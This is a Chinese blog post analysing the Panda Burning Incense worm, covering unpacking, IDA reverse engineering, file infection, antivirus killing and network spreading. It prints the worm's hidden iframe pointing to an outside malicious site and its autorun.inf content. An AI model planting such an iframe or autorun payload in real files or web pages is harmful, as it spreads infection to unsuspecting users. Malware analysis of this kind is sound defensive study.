恶意代码分析——熊猫烧香
记录对一些恶意代码的分析的过程
熊猫烧香功能函数总览:
标题
- 恶意代码分析——熊猫烧香
- 熊猫烧香功能函数总览:
- 静态分析
- IDA分析
- sub_40819C
- sub_40D18C
- sub_40A5B0
- sub_409348
- sub_40C374
- sub_40BACC
- sub_40D088
- 参考链接
静态分析
- 查壳——FSG 2.0
- 脱壳
1) OllyDump找到OEP:
2) OllyDump进行二进制Dump
3) ImportRCE进行导入表修复,并且将新的导入OD中Dump下的二进制文件中
4) 重新查壳:Delphi 编写(该在调用函数时,利用寄存器进行函数参数传递)但是导入表中却只识别出一个dll
5) 按照上述的方式脱壳后,会发现在调试程序时会报错,这说明程序脱壳有问题,后来参考其他朋友的方博客才知道,原来是IAT中被插入了垃圾数据,这些数据需要被手工修改。
6) 找到OEP,进入004049E8,再进入00404924,找到IAT首地址,再数据窗口中跟随进行检查,将其中的垃圾数据修改为00000000
7) 然后回到OEP利用OllyDump将程序Dump下来,然后重复第一次的脱壳操作;增却脱壳后的程序用PEID检查时会发现其导入表中的依赖库非常多。
IDA分析
- IDA载入样本——所有的函数均未被IDA识别
- 由于程序是Delphi编写,在IDA中加入Delphi的签名
- 再看IDA窗口,部分函数已经被正确识别:
- 首先调用函数InitExe进行初始化,然后多次调用LStrAsg函数进行字符串复制进行初始化:
- 继续往下,发现第一个未识别的函数sub_405250,经过分析可知该函数为一个解密函数
由于无法从IDA中无法方便地分析传入的参数,在IDA中的此处下段,然后发现传入的参数为两个字符串和一个栈地址,经过此函数处理后,栈中保存了另一个同样长度的字符串。
- 对函数sub_405250重命名
- 继续往下,在0040D60A处又调用了此解密函数和LStrCmp进行字符串比较,此处是在进行程序的校验,如果校验失败,则终止程序。
- 继续往下,调用三个函数:sub_40819C、sub_40D18C、sub_40D088,调用此三个函数后,程序的整个逻辑就较为简单,并且几乎无其他函数调用,则说明这三个函数包含了大部分的恶意代码的核心功能。
- 接下来对这三个函数分别分析
sub_40819C
- sub_40819C —— 恶意程序驻留,创建并执行bat文件和程序执行路径检测
1) 该函数首先进行一个循环,进行132次循环,每次进行两次push 0操作,应该是进行栈空间的分配
2) 继续往下,发现一个未被识别的系统函数,用OD 进行动态分析,发现此系统函数的功能就是获取传入路径的目录,在IDA中进行重命名SyS_GetPath_Folder。
3) 发现会拼接一个当前程序的路径和一个 Desktop.ini文件,应该是会访问或者创建此文件,结合OD获得此文件的路径
4) 继续往下,发现会再次重复上一步的操作,获取一个路径然后修改其属性,然后删除此文件(此处的目的是检查Desktop.ini文件是否是刚创建的,如果不是刚创建的,则对其进行删除):
5) 继续往下,发现会调用一个函数sub_407650,该程序传入的参数是当前程序的执行路径,执行完的结构保存在var_4变量中,此处计算的结果是“MZ”,猜测他是一个程序路径的校验函数——重命名为“My_Guess_Path_Check”。
6) 程序会在004082E7处经过一个判断,判断不成功则进入一个循环,最终都会跳转到004082F3,其中sub_40521C为字符串大写转换,重命名为“My_Upper_Str“,
7) 在OD中下段查看0040834F处的函数调用为:
8) 继续往下,会进行一个字符串判断,其中判断的量子字符串分别是当前程序的绝对路径和前面拼接得到的系统路径,也就是说此程序会进行自我复制和路径检查;将自我复制到系统路径下,然后在运行时检查是否运行在系统路径下。
9) 如果程序没有运行在系统路径下,那么恶意程序将会自我复制到系统路径下也就是"C:\WINDOWS\SYSTEM32\DRIVERS\SPO0LSV.EXE" ,然后进行运行
10) 如果程序运行在系统路径下,最终都会执行到00408584地址处:
11) 此处调用函数sub_407B68和sub_405458,分别对两个函数进行分析:- sub_407B68函数功能——程序对系统环境和运行路径检测,进行bat文件执行,对其进行重命名My_Create_BatFile
获取系统临时文件夹路径:
在临时文件夹下创建批处理文件:
然后进行字符串拼接:
在临时文件夹下找到批处理文件,然后进行查看:
- sub_405458——此函数的主要功能是遍历进程,检查是否有spolsv.exe进程在运行,对其进行重命名SyS_Check_Process_Running
12) 如果恶意程序进程没有在执行,那么重新执行系统目录下的恶意程序。
- sub_407B68函数功能——程序对系统环境和运行路径检测,进行bat文件执行,对其进行重命名My_Create_BatFile
sub_40D18C
-
sub_40D18C —— 程序的恶意行为:感染受害者主机的文件sub_40D18C函数为恶意程序的主要功能模块,跟入该函数,发现调用三个函数:
sub_40A5B0
1) 第一个函数sub_40A5B0主要功能是创建一个线程:
跟入线程的代码块,此处的代码会先获取磁盘目录
接下来的主要功能集中在函数sub_409348中
sub_409348
跟入函数sub_409348进行分析,该函数非常复杂,应该是整个恶意程序的主要功能模块,程序首先会遍历被感染主机,然后根据文件的格式进行不同的操作:
对于文件夹的话,会在指定文件夹下创建DeskTop.ini文件,并且会对文件的创建时间进行校验,如果不是此时产生的,则对文件进删除。
对于不同的文件,采用不同的操作,这些文件被分为两大类:
1) Exe, scr,fip, com,
2) Html, asp, php, jsp, aspx
对于第一类文件,均调用函数sub_407F00进行处理,第二类文件则调用函数sub_4079CC进行处理
结合动态检测的结果,我们知道恶意程序会将所有的可执行文件都变成了同样的图标,而此处的代码正好会遍历被感染主机中的所有文件,那么此处应该就是恶意程序的核心恶意行为部分,由于不同的文件类型会调用不同的函数,我们来分别对上述的两个函数进行分析:
a) 首先是sub_407F00
该函数首先对遍历到的文件名进行校验,看看是否是恶意程序本体
然后将遍历到的文件读取到内存中
接下来检查内存中该文件的数据是否包含字符串“WhBoy”,此处用于检测程序是否已经被感染,如果已经被感染,则不进行后面的感染操作,也就是说字符串“WhBoy”是程序感染的特征之一。
用当前运行的恶意程序替换为遍历到的文件
接下来进行一个长的字符串拼接,一共6个字串拼接得到目标字符串,由于其中一个字符串是由被遍历的文件数据,一个系统函数和函数sub_405534处理得到。
用OD动态调试,查看到字符串,其中的?分别是0x1h和0x2h,字符串中见的数字应该是文件的大小;所以,该字符的组成为:
”WhBoy” + 程序名称 + “.exe” + 0x1h + 源文件大小 + 0x2h
继续往下,就发现了整个恶意程序的核心功能,将被遍历文件的真实数据添加到 “假的” 被遍历的文件(此时被遍历的文件已经被恶意程序替换)后面,然后将上述拼接得到的字符串也添加到后面。
功能总结:系统的中的源文件被感染后变成了: 恶意程序+源文件+感染标记字符串
b) 接下来是函数sub_4079CC
函数首先将被感染文件保存在内存中,然后调用一个解密函数对两个字符串进行了计算,
并且将字符串保存在遍历var_8中,用OD调试得到的字符串如下,可以发现该字符串是一个隐藏的html窗口代码,我们猜测改代码会在html文件中插入了恶意代码,能够隐蔽地访问恶意站点。
继续往下,程序会判断原始文件中是否已经包含这个恶意的html代码,以此来检测文件是否已经被感染,也就是代码 "</iframe src=http://www.ac86.cn/66/index.htm width=”0” height=”0”></ iframe>” 是第二类文件的感染标记
继续往下,发现往文件中写入恶意html代码的部分:
用OD调试得到相关的具体信息,发现恶意的html代码拼接了一个换行符 “\n” 和一个回车符 “\r”;继续单步调试,能够验证00407A90处的函数为长度计算函数,因为该函数的参数是拼接后的恶意html代码,而计算后eax中的返回值正好是0x4Ch (十进制72),正好是恶意代码的长度。
sub_40C374
跟入第二个函数sub_40C374,该函数会设置一个定时器,定时执行TimerFunc处的代码:
进入该代码段进行分析,此处的代码会拼接两个字符串,一个是“C:\ setup.exe”,另一个是“C:\ autorun.inf”
继续往下,会检查这两个文件的创建时间是否一致,如果时间不一致则将当前程序复制到“C:\ setup.exe”;如果时间一致,则会检查当前程序是否是 “C:\ setup.exe”
如果不是,则删除 “C:\ setup.exe”
接下来将源程复制到C盘根目录并重命名为“C:\ setup.exe”
进行上述的程序复制后,会再进行一次时间校验,如果满足条件则跳转到0040C10F 中,该部分应该是进行inf文件内容的检查,对比的内容是 “[AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\Auto\command=setup.exe\r\n”)
如果内容不满足条件,则将原来的inf文件删除:
然后创建一个新的inf文件,并且将刚刚用于对比的内容写入到inf文件中:
接下来再将setup.exe与autorun.inf得属性设为隐藏。
sub_40BACC
再跟入函数sub_40BACC, 该函数的组成较为简单,主要调用了一个随机数生成函数和函数sub_403C00
跟入函数sub_403C00,发现该函数会创建一个进程:
直接跟如该进程的地址并不能发现有用的信息,其中用动态的方式调用了一个函数call edx; 用OD进行下段查看函数的地址为0040BA8C:
跟入该地址0040BA8C,该地址块代码调用函数sub_40B864
跟入函数sub_40B864,发现该函数会将恶意代码在内网进行传播
sub_40D088
-
sub_40D088 —— 设置定时器进行程序执行和驻留
接下来分析函数sub_40D0881) 该函数内部会多次调用定时器执行代码块:
sub_40CEE4
sub_40D040
sub_40D048
sub_407430
sub_40CC4C
sub_40C728
1) 第一个代码块sub_40CEE4的功能:
该处的代码会先进行调用函数sub_406E2C创建进程
该进程的代码地址处首先进行提权操作,然后重复相同的代码功能——即在当前的进程中搜索众多的进程:
对相关的地址数据进行查看,发现这些进程均为杀毒进程:
除了杀毒软件外,还有一些系统的任务管理进程被关闭:
也就是说,恶意程序会将这些杀毒进程和一些任务管理进程都进行关闭,防止被查杀和检测。
接下来,将创建和修改注册表,方便恶意程序的自启动:
2) 代码块sub_40D040的分析
同样会创建一个线程,线程的起始地址为sub_40C9B0
跟入线程的起始地址,该线程会先调用一个解密函数sub_40C4EC,然后调用函数sub_40C5E0利用QQ进行URL访问,并且从指定的站点中下载文件,最后将西在的文件和解密的文件进行对比:
sub_40C5E0利用QQ进行URL访问和下载文件
3) 第三个代码块sub_40D048功能分析:
创建两个线程:
第一个线程sub_40CC34起始就是第二个代码块的线程起始地址此处进行了重复操作
第二个线程sub_40CDEC——删除被感染主机的文件共享- 利用cmd执行命令:
- 紧接着继续执行另一个命令:
4) 第四个代码块sub_407430分析:
同样创建线程:
关闭系统服务,杀毒进程服务和删除某些注册表
5) 第五个代码块sub_40CC4C分析和第六个代码块sub_40C728的功能就是前面各个代码块功能的组合。
- 利用cmd执行命令:
-
整个熊猫烧香的功能分析完成 (@_@)
-
总结:对熊猫烧香这个恶意程序的分析,相对比较完整,但是还有很多细节的部分没有分析透彻,主要原因还是技术有限 /(ㄒoㄒ)/~~ (留下了没有技术的泪水)。另外,在本次的分析过程中,由于相关的Delphi语言的基本函数未能被IDA识别,导致在分析的过程中非常吃力,除了需要分析作者的功能函数外,还需要分析很多Delphi语言的基本函数,而这些基本函数又是比较难分析的 /(ㄒoㄒ)/~~ (再次留下了没有技术的泪水)。
参考链接
在分析过程中参考了以下朋友们的博客:
参考链接1
参考链接2
参考链接3